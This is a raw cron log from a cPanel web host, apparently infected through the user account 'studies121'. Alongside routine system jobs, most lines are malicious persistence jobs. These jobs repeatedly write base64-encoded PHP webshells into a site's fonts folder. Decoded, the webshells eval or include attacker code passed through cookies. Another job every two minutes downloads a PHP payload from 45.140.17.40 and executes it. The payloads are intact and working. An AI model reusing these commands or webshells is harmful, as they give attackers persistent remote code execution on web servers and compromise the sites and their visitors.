Sep  7 06:59:01 ip-184-168-122-23 CROND[12740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:00:02 ip-184-168-122-23 CROND[12862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:00:02 ip-184-168-122-23 CROND[12863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:00:02 ip-184-168-122-23 CROND[12864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:00:02 ip-184-168-122-23 CROND[12865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:00:02 ip-184-168-122-23 CROND[12867]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 07:00:02 ip-184-168-122-23 CROND[12869]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:00:02 ip-184-168-122-23 CROND[12870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:00:02 ip-184-168-122-23 CROND[12871]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:01:01 ip-184-168-122-23 CROND[13005]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 07:01:01 ip-184-168-122-23 CROND[13008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:01:01 ip-184-168-122-23 CROND[13007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:01:01 ip-184-168-122-23 CROND[13004]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 07:01:01 ip-184-168-122-23 CROND[13006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:01:01 ip-184-168-122-23 CROND[13010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13005]: starting 0anacron
Sep  7 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13024]: finished 0anacron
Sep  7 07:02:01 ip-184-168-122-23 CROND[13137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:02:02 ip-184-168-122-23 CROND[13139]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:02:02 ip-184-168-122-23 CROND[13142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:02:02 ip-184-168-122-23 CROND[13143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:02:02 ip-184-168-122-23 CROND[13144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:03:01 ip-184-168-122-23 CROND[13260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:03:01 ip-184-168-122-23 CROND[13259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:03:01 ip-184-168-122-23 CROND[13261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:03:01 ip-184-168-122-23 CROND[13262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:04:01 ip-184-168-122-23 CROND[13484]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:04:01 ip-184-168-122-23 CROND[13485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:04:01 ip-184-168-122-23 CROND[13488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:04:01 ip-184-168-122-23 CROND[13489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:04:02 ip-184-168-122-23 CROND[13491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:05:02 ip-184-168-122-23 CROND[13657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:05:02 ip-184-168-122-23 CROND[13658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:05:02 ip-184-168-122-23 CROND[13661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:05:02 ip-184-168-122-23 CROND[13659]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:05:02 ip-184-168-122-23 CROND[13663]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 07:05:02 ip-184-168-122-23 CROND[13660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:05:02 ip-184-168-122-23 CROND[13662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:06:01 ip-184-168-122-23 CROND[13759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:06:01 ip-184-168-122-23 CROND[13758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:06:01 ip-184-168-122-23 CROND[13761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:06:01 ip-184-168-122-23 CROND[13762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:06:01 ip-184-168-122-23 CROND[13760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:07:01 ip-184-168-122-23 CROND[13859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:07:01 ip-184-168-122-23 CROND[13860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:07:01 ip-184-168-122-23 CROND[13862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:07:01 ip-184-168-122-23 CROND[13863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:08:01 ip-184-168-122-23 CROND[13980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:08:01 ip-184-168-122-23 CROND[13982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:08:01 ip-184-168-122-23 CROND[13981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:08:01 ip-184-168-122-23 CROND[13983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:08:01 ip-184-168-122-23 CROND[13984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:09:01 ip-184-168-122-23 CROND[14103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:09:01 ip-184-168-122-23 CROND[14105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:09:01 ip-184-168-122-23 CROND[14106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:09:01 ip-184-168-122-23 CROND[14108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:09:01 ip-184-168-122-23 CROND[14107]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 07:10:01 ip-184-168-122-23 CROND[14229]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:10:01 ip-184-168-122-23 CROND[14231]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:10:01 ip-184-168-122-23 CROND[14234]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:10:01 ip-184-168-122-23 CROND[14235]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 07:10:01 ip-184-168-122-23 CROND[14233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:10:01 ip-184-168-122-23 CROND[14232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:10:01 ip-184-168-122-23 CROND[14236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:10:01 ip-184-168-122-23 CROND[14238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:11:01 ip-184-168-122-23 CROND[14428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:11:02 ip-184-168-122-23 CROND[14430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:11:02 ip-184-168-122-23 CROND[14432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
